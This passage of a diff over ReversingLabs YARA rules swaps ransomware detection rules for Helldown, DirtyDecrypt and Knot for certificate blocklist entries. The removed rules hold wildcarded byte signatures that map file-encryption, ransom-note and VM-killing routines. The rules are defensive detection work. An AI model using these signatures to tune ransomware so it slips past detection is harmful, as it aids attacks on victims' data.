) ) and ( all of ( $encrypt_files_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment" and pe.signatures [ i ] . serial == "61:00:39:d6:34:9e:e5:31:e4:ca:a3:a6:5d:10:0c:7d" and 1341792000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Helldown : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1Caa0D0Dadf32A2404A75195Ae47820A : INFO FILE { meta: - description = "Yara rule that detects Helldown ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aca11cf1-2d73-5599-8027-a52b9dcd4757" - date = "2025-01-20" - modified = "2025-01-20" + id = "5c1f82a4-c64d-556c-8c7a-213582e7bd5a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.Helldown.yara#L1-L127" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16266-L16282" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b5572f537c87d113886d79768cfe89e46c00063333de612a4547c9a80f5826e1" + logic_hash = "ab71e485c0b541fae79d246d34b1f4fb146747c1c3fb723aa87a7a32378ff974" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Helldown" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 41 56 41 55 41 54 49 89 FC 55 53 0F 1F 44 00 ?? 49 8B 74 24 ?? 49 8B 3C 24 E8 ?? ?? - ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8B 38 E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 - 0F 84 ?? ?? ?? ?? 66 90 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 89 C6 0F 84 ?? ?? ?? ?? - 0F B6 40 ?? 3C ?? 0F 84 ?? ?? ?? ?? 3C ?? 75 ?? 49 83 C6 ?? 4C 89 F7 E8 ?? ?? ?? ?? - 85 C0 74 ?? 48 8B 7D ?? E8 ?? ?? ?? ?? 4C 89 F7 49 89 C5 E8 ?? ?? ?? ?? 49 8D 7C 05 - ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 49 89 C5 48 89 C7 E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? - ?? 4C 89 F6 4C 89 EF 66 41 C7 44 05 ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? - 4C 89 EF 49 89 C6 E8 ?? ?? ?? ?? 49 8B 54 24 ?? 49 8B 7C 24 ?? 48 89 C6 4C 89 70 ?? - E8 ?? ?? ?? ?? 49 8B 7C 24 ?? E8 ?? ?? ?? ?? 4D 85 ED 0F 84 ?? ?? ?? ?? 4C 89 EF E8 - ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 89 C6 0F 85 ?? ?? ?? ?? 0F 1F 40 ?? - 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 41 80 7E ?? - ?? 0F 84 ?? ?? ?? ?? 48 8B 7D ?? 49 83 C6 ?? E8 ?? ?? ?? ?? 4C 89 F7 49 89 C5 E8 ?? - ?? ?? ?? 49 8D 7C 05 ?? E8 ?? ?? ?? ?? 48 8B 75 ?? 49 89 C5 48 89 C7 E8 ?? ?? ?? ?? - 4C 89 EF E8 ?? ?? ?? ?? 4C 89 F6 4C 89 EF 66 41 C7 44 05 ?? ?? ?? E8 ?? ?? ?? ?? 4C - 89 EF E8 ?? ?? ?? ?? 4D 85 ED 49 89 C6 74 ?? 4C 89 EF E8 ?? ?? ?? ?? 49 8B 54 24 ?? - 49 8B 3C 24 4C 89 F6 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 00 5B 5D 41 5C 41 5D 41 5E - C3 - } - $encrypt_files_p1 = { - 41 57 48 89 F8 41 56 41 55 41 54 55 53 48 83 EC ?? 48 89 7C 24 ?? 66 2E 0F 1F 84 00 - ?? ?? 00 00 48 8B 78 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 72 ?? 48 8B 7A ?? E8 ?? - ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 30 4C 8B 68 ?? 48 85 F6 0F - 84 ?? ?? ?? ?? 48 89 F7 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 - 89 44 24 ?? 48 89 C7 31 C0 E8 ?? ?? ?? ?? 85 C0 89 C3 0F 88 ?? ?? ?? ?? 49 81 FD ?? - ?? ?? ?? B8 ?? ?? ?? ?? 41 BF ?? ?? ?? ?? 44 0F 4C F8 BA ?? ?? ?? ?? 49 8D 85 ?? ?? - ?? ?? BD ?? ?? ?? ?? 41 BC ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 4C EA B2 ?? 44 0F 4C E2 - 48 3D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 0F 46 EA 44 0F 46 FA 44 0F 46 E0 - BA ?? ?? ?? ?? 49 81 FD ?? ?? ?? ?? B8 ?? ?? ?? ?? 45 0F 4E E5 48 0F 4E EA 44 0F 4E - F8 E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 45 89 E4 48 89 C7 BE ?? - ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 4C 89 - } - $encrypt_files_p2 = { - EA 49 89 C4 4C 89 E8 48 C1 FA ?? 45 31 ED 48 F7 FD 31 ED 48 89 44 24 ?? 0F 1F 40 ?? - 31 D2 48 89 EE 89 DF E8 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 E6 89 DF 41 83 C5 ?? E8 ?? - ?? ?? ?? 48 8B 7C 24 ?? 48 8D 54 24 ?? 31 C9 41 89 C1 4D 89 E0 BE ?? ?? ?? ?? 41 89 - C6 E8 ?? ?? ?? ?? 31 D2 48 89 EE 89 DF E8 ?? ?? ?? ?? 44 89 F2 4C 89 E6 89 DF E8 ?? - ?? ?? ?? 48 03 6C 24 ?? 45 39 EF 7F ?? 31 F6 BA ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 - 8B 74 24 ?? BA ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? - E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 74 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 4D 85 E4 74 ?? - 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 74 ?? 48 8B - 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 30 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? - 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 48 8B 54 24 - ?? 48 8B 32 EB ?? 66 0F 1F 44 00 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F - } - $drop_ransom_note = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 49 89 FC 48 83 EC ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 00 ?? ?? ?? ?? 48 C7 40 ?? ?? ?? ?? ?? BE ?? ?? ?? - ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 89 C7 48 8B 15 ?? ?? ?? ?? 48 89 C3 31 C0 E8 - ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 89 DF 48 89 C5 E8 ?? ?? ?? ?? 4C 8D 6C 05 ?? - 31 ED 4D 85 ED 74 ?? 4C 89 EF E8 ?? ?? ?? ?? 4C 89 EA 31 F6 48 89 C7 48 89 C5 E8 ?? - ?? ?? ?? 4C 89 E6 48 89 EF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 - 89 DE 48 89 EF C6 40 ?? ?? E8 ?? ?? ?? ?? 31 F6 48 89 EF E8 ?? ?? ?? ?? 85 C0 75 ?? - 48 85 ED 74 ?? 48 89 EF E8 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48 89 DF 48 8B 6C - 24 ?? 48 8B 5C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? E9 ?? ?? ?? ?? 66 0F - 1F 44 00 ?? 48 89 EF BA ?? ?? ?? ?? BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 3D ?? - ?? ?? ?? 41 B9 ?? ?? ?? ?? 45 31 C0 31 C9 BA ?? ?? ?? ?? 41 89 C4 48 89 FE E8 ?? ?? - ?? ?? 48 8B 40 ?? 4C 8B 68 ?? 4C 89 EF E8 ?? ?? ?? ?? 44 89 E7 48 89 C2 4C 89 EE E8 - ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 48 8B 5C 24 - ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? C3 - } - $kill_virtual_machines_p1 = { - 41 57 31 C0 B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 89 FD 53 48 81 EC ?? ?? ?? ?? 48 89 - E7 48 89 E3 F3 48 AB C6 07 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 F6 48 - 89 C7 49 89 C4 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 89 C1 BE ?? ?? ?? ?? 49 89 C5 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 41 BF ?? ?? ?? - ?? EB ?? 90 83 FD ?? 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 - 89 DF E8 ?? ?? ?? ?? 4C 89 F6 48 89 DF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? - ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 49 8D 7D ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 - 0F 84 ?? ?? ?? ?? 4C 8D 70 ?? BE ?? ?? ?? ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 89 DF C6 00 - ?? 49 89 C5 4C 89 F9 31 C0 83 FD ?? F3 48 AB 48 8B 05 ?? ?? ?? ?? 48 89 03 48 8B 05 - ?? ?? ?? ?? 48 89 43 ?? 48 8B 05 ?? ?? ?? ?? 48 89 43 ?? 8B 05 ?? ?? ?? ?? 89 43 - } - $kill_virtual_machines_p2 = { - 0F B7 05 ?? ?? ?? ?? 66 89 43 ?? 0F B6 05 ?? ?? ?? ?? 88 43 ?? 0F 85 ?? ?? ?? ?? 48 - 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 C1 - EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 ?? C7 01 ?? ?? - ?? ?? C6 41 ?? ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 48 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? - ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 - 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 ?? C7 01 ?? ?? ?? ?? C6 41 ?? ?? E9 ?? ?? ?? ?? - 0F 1F 40 ?? 48 89 D9 8B 11 48 83 C1 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? - 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 51 ?? 48 0F 44 CA 00 C0 48 83 D9 - ?? C7 01 ?? ?? ?? ?? 66 C7 41 ?? ?? ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 - 4D 85 E4 74 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E - 41 5F C3 - } - condition: - uint32( 0 ) == 0x464C457F and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) and ( all of ( $kill_virtual_machines_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LivePlex Corp" and pe.signatures [ i ] . serial == "1c:aa:0d:0d:ad:f3:2a:24:04:a7:51:95:ae:47:82:0a" and 1324425600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dirtydecrypt : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_140D2C515E8Ee9739Bb5F1B2637Dc478 : INFO FILE { meta: - description = "Yara rule that detects DirtyDecrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f4d69c3e-a082-5bc9-bf72-4cc330d3de74" - date = "2020-06-26" - modified = "2020-07-15" + id = "69f3ee46-87d2-5630-ba7c-4ed2924cf650" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara#L3-L112" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16284-L16300" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "eb6a1c376b0739848b523e741d0d1ebdbc87056d51931fb94c744aa094d6479f" + logic_hash = "e6724fe80959592c8741621ce604518d3e964cee5941257a99dda78b9c8bbdac" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DirtyDecrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $dd_ep = { - 55 8B EC 83 EC ?? E8 ?? ?? ?? ?? 85 C0 0F 84 BF 00 00 00 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 - 1F 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB - 09 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D ?? ?? 73 15 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 44 95 ?? EB DC 6A ?? 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? - 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A - ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 8B E5 5D C2 ?? ?? - } - $dd_hash = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 D5 00 00 00 83 7D ?? ?? 0F 84 CB 00 00 00 83 7D ?? ?? 0F 84 C1 - 00 00 00 83 7D ?? ?? 0F 84 B7 00 00 00 83 7D ?? ?? 0F 84 AD 00 00 00 83 7D ?? ?? 0F 84 A3 00 00 00 C7 45 ?? ?? ?? ?? ?? - 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 6F 83 7D ?? ?? 76 2A 6A ?? 6A ?? 8B - 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 51 8B 4D ?? 83 E9 ?? 89 4D ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 6A ?? 8B - 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 25 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B - 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 33 C9 0F 85 74 FF FF FF 83 7D ?? ?? 74 0A 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B - E5 5D C2 ?? ?? - } - $dd_getkey = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 31 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 8B 55 - ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 89 45 ?? 8B 45 ?? 8B E5 5D C2 ?? ?? - } - $dd_destroykey = { - 55 8B EC 83 7D ?? ?? 74 0A 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5D C2 - } - $dd_importkey = { - 55 8B EC 51 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 8B 08 51 8B 55 ?? 52 FF 15 ?? ?? - ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ?? - } - $dd_decrypt = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 22 01 00 00 83 7D ?? ?? 0F 84 18 01 00 00 83 7D ?? ?? 0F 84 0E - 01 00 00 83 7D ?? ?? 0F 84 04 01 00 00 83 7D ?? ?? 0F 84 FA 00 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 33 D2 - F7 75 ?? 0F AF 45 ?? 89 45 ?? 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 02 03 45 ?? 89 45 ?? 8B 4D ?? 8B 11 03 55 ?? 52 8B 45 ?? 8B - 08 51 6A ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 02 8B 45 ?? 83 38 ?? 0F 84 A7 00 00 00 8B 4D ?? 8B 11 8B 45 ?? 03 10 89 55 ?? 83 - 7D ?? ?? 74 61 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? - 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 1D 8B 4D ?? 03 4D ?? 89 - 4D ?? 8B 55 ?? 2B 55 ?? 89 55 ?? 8B 45 ?? 03 45 ?? 89 45 ?? EB 99 83 7D ?? ?? 75 15 8B 4D ?? 89 4D ?? 8B 55 ?? 8B 45 ?? - 2B 02 8B 4D ?? 89 01 EB 18 8B 55 ?? 8B 02 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 - ?? ?? - } - $dd_encrypt = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 89 01 00 00 83 7D ?? ?? 0F 84 7F 01 00 00 83 7D ?? ?? 0F 84 75 - 01 00 00 83 7D ?? ?? 0F 84 6B 01 00 00 83 7D ?? ?? 0F 84 61 01 00 00 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 83 E9 - ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 26 01 - 00 00 8B 55 ?? 3B 55 ?? 76 08 8B 45 ?? 89 45 ?? EB 06 8B 4D ?? 89 4D ?? 8B 55 ?? 89 55 ?? 8B 45 ?? 33 D2 F7 75 ?? 0F AF - 45 ?? 8B 4D ?? 8B 11 03 D0 03 55 ?? 89 55 ?? 8B 45 ?? 50 8B 4D ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 55 ?? - 83 3A ?? 0F 84 CF 00 00 00 8B 45 ?? 8B 08 8B 55 ?? 03 0A 89 4D ?? 83 7D ?? ?? 0F 84 84 00 00 00 8B 45 ?? 3B 45 ?? 73 08 - 8B 4D ?? 89 4D ?? EB 06 8B 55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B - 4D ?? 89 4D ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 02 EB 2D 8B - 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 55 ?? 03 55 ?? 89 55 ?? 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D ?? 03 4D ?? 89 4D ?? E9 - 72 FF FF FF 83 7D ?? ?? 75 16 8B 55 ?? 8B 45 ?? 2B 02 8B 4D ?? 89 01 C7 45 ?? ?? ?? ?? ?? EB 18 8B 55 ?? 8B 02 50 8B 4D - ?? 8B 11 52 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 01 8B 45 ?? 8B E5 5D C2 ?? ?? - } - $dd_provparam = { - 55 8B EC 83 EC ?? 83 7D ?? ?? 0F 84 94 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? - 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 74 3F 8B 55 ?? 83 C2 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 2A 6A ?? 8D 45 ?? - 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 10 8B 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B - 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 1D 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 E8 - ?? ?? ?? ?? 8B E5 5D C2 ?? ?? - } - $dd_acquirecontext = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 0B 8B 45 ?? 0D ?? ?? ?? ?? 89 45 ?? C7 45 ?? - ?? ?? ?? ?? 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 E8 ?? ?? ?? - ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 39 8B 45 ?? 83 C8 ?? 50 6A ?? 8B 4D - ?? 51 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 1A 6A ?? 6A ?? 6A ?? 8D 4D ?? 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? - 85 C0 75 02 EB 0E 6A ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 9D 8B 45 ?? 8B E5 5D C2 ?? ?? - } - $dd_mrwhite = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 64 01 00 00 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D - 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 12 83 3D ?? ?? ?? ?? ?? 74 09 83 3D ?? ?? ?? ?? ?? 75 05 E9 13 - 01 00 00 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 75 05 E9 F0 00 00 00 8B 95 - ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 - 05 E9 C0 00 00 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 74 09 83 BD ?? ?? ?? ?? ?? 73 05 E9 9B - 00 00 00 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 - 75 02 EB 72 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 02 83 C0 ?? 3B 85 ?? ?? ?? ?? 76 02 EB 51 8B 8D ?? - ?? ?? ?? 83 39 ?? 74 3E 0F B7 95 ?? ?? ?? ?? 83 FA ?? 75 32 8B 85 ?? ?? ?? ?? 8B 08 51 8B 95 ?? ?? ?? ?? 83 C2 ?? 52 6A - ?? 8D 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 33 C0 0F 85 CD FE FF FF 8D 8D - ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C2 ?? ?? - } - condition: - uint16( 0 ) == 0x5A4D and ( $dd_ep at pe.entry_point ) and $dd_hash and $dd_getkey and $dd_destroykey and $dd_importkey and $dd_decrypt and $dd_encrypt and $dd_provparam and $dd_acquirecontext and $dd_mrwhite + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou YuanLuo Technology Co.,Ltd" and pe.signatures [ i ] . serial == "14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" and 1386806400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Knot : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_58015Acd501Fc9C344264Eace2Ce5730 : INFO FILE { meta: - description = "Yara rule that detects Knot ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4dfe9da5-7ab1-57dc-95fc-b05777f235b8" - date = "2021-03-19" - modified = "2021-03-19" + id = "28a56bcf-1f13-5478-a6d5-7595464da198" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Knot.yara#L1-L118" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16302-L16318" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a7a3e13139d68314e583ec225a5d56373a551e67d46984dcf9a228a1f7275f14" + logic_hash = "7c1bec5059d40fc326bb08775888ed169abc746228eeb42c897f479992c5acab" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Knot" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 